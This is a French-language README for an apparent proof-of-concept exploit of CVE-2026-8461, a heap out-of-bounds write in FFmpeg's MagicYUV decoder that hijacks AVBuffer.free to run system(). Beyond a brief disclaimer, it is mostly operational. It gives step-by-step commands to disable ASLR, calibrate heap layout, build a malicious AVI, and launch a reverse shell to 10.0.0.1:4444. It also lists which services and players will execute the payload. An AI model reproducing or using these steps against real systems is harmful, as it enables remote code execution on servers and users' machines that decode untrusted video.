
Preuve de concept d'exploitation pour CVE-2026-8461, une écriture hors limites du tas dans le décodeur MagicYUV de FFmpeg, permettant l'exécution de code à distance via le détournement d'AVBuffer.free. Inclut des scripts de calibration pour les builds de débogage et de production.
[!WARNING] Ce dépôt contient une preuve de concept fonctionnelle pour une vulnérabilité de corruption du tas. Il est destiné uniquement à la recherche en sécurité autorisée, aux contextes CTF et à l'analyse défensive. Ne pas l'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite.
Affecté : Décodeur MagicYUV de FFmpeg 8.0.1 (libavcodec/magicyuv.c)
Primitive : Écriture hors limites du tas → Détournement de AVBuffer.free → Appel à system()
magy_decode_slice() utilise sheight (hauteur de tranche non limitée) comme borne de boucle pour écrire dans le plan de sortie Cb/Cr, mais alloue le tampon en utilisant la hauteur limitée height. Sur la dernière tranche d'une trame spécialement conçue, la boucle écrit au-delà de la zone allouée.
// magicyuv.c:291 — le pointeur dst est déjà à sheight×stride après le début du tampon
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB write when sheight > height
L'écriture hors limites atterrit dans une structure AVBuffer allouée ultérieurement. En contrôlant les octets écrits, AVBuffer.free est écrasé avec l'adresse de system() et AVBuffer.opaque avec l'adresse de la chaîne de commande sur le tas. Lorsque la trame est libérée, av_buffer_unref() appelle system(cmd).
| Fichier | Description |
|---|---|
exploit_cve_2026_8461.py | Générateur d'AVI d'exploitation — fabrique le flux binaire MagicYUV malveillant |
auto_calibrate.py | Auto-étalonnage pour les compilations de débogage (nécessite les symboles de débogage -g) |
auto_calibrate_nosym.py | Auto-étalonnage pour les compilations de production (allégées, bibliothèques partagées) |
CVE-2026-8461_Analysis_EN.md | Analyse complète de la vulnérabilité (anglais) |
CVE-2026-8461_Analysis.md | Analyse complète de la vulnérabilité (中文) |
ffmpeg_prod | Binaire FFmpeg 8.0.1 de production allégé pour tests locaux |
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR désactivé — requis pour l'étalonnage)
Dépendances Python : aucune (stdlib uniquement).
sudo sysctl -w kernel.randomize_va_space=0
Compilation de débogage (compilé avec -g, p. ex. depuis les sources avec --enable-debug) :
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
Compilation de production (bibliothèques partagées allégées, p. ex. apt install ffmpeg ou --enable-shared personnalisé) :
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
Le chemin
--avidoit être identique entre l'étalonnage et la livraison de l'exploit. Modifier la longueur de la chaîne du chemin déplace la disposition du tas et invalide l'étalonnage.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Compilation de débogage (liée statiquement)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Compilation de production (bibliothèque partagée)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# FFmpeg installé système (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
Sortie attendue : la commande s'exécute, puis le processus plante avec corrupted size vs. prev_size.
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Binaire FFmpeg cible
│
├─ Possède des symboles de débogage ? (file ffmpeg | grep debug_info)
│ └─ OUI → auto_calibrate.py
│
└─ Allégé / production
│
├─ Lié dynamiquement ? (ldd ffmpeg | grep libavutil)
│ └─ OUI → auto_calibrate_nosym.py
│
└── Lié statiquement + entièrement allégé
└─ Aucun des scripts ne s'applique
(nécessite une approche avec crochet malloc via LD_PRELOAD)
auto_calibrate_nosym.py fonctionne en :
av_buffer_create (toujours présent dans le .dynsym de libavutil.so) pour capturer les pointeurs de données Cb et Cr sans avoir besoin de symboles au niveau source.AVBuffer et extraire l'adresse de system().L'exploit se déclenche lorsque la cible décode la trame vidéo (pas seulement une simple sonde) :
| Invocation | Déclenche RCE |
|---|---|
ffmpeg -i evil.avi -f null - | Oui |
ffmpeg -i evil.avi -o out.mp4 | Oui |
| Service de transcodage web (boucle de décodage libavcodec) | Oui |
| Lecteur vidéo utilisant libavcodec | Oui |
ffmpeg -i evil.avi (aucune sortie spécifiée) | Non — le processus s'arrête avant que av_buffer_unref ne se déclenche |
ffprobe evil.avi | Non — chemin de simple sonde, aucun décodage complet |
Pour démontrer la vulnérabilité sans exécuter de commande :
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# plante avec : free(): invalid pointer ou corrupted size vs. prev_size
AVBuffer atterrit à moins de 640 octets de l'adresse de début OOB du plan Cb. Sur aarch64, l'ordre d'allocation de glibc place AVBuffer au-delà de cette plage (le bloc adjacent est le tampon Cr d'environ 10 Ko), donc l'écriture OOB ne peut pas l'atteindre avec la géométrie de trame actuelle. Un portage vers aarch64 nécessite un profilage de la disposition du tas aarch64 et un ajustement de la géométrie de trame en conséquence.kernel.randomize_va_space=0). Avec ASLR activé, les adresses du tas sont randomisées à chaque exécution et l'étalonnage ne s'applique pas. Une primitive de fuite d'informations serait nécessaire pour étendre cela à des cibles avec ASLR activé.auto_calibrate_nosym.py : Nécessite un FFmpeg lié dynamiquement avec libavutil.so accessible (soit dans les chemins système, soit via --libpath).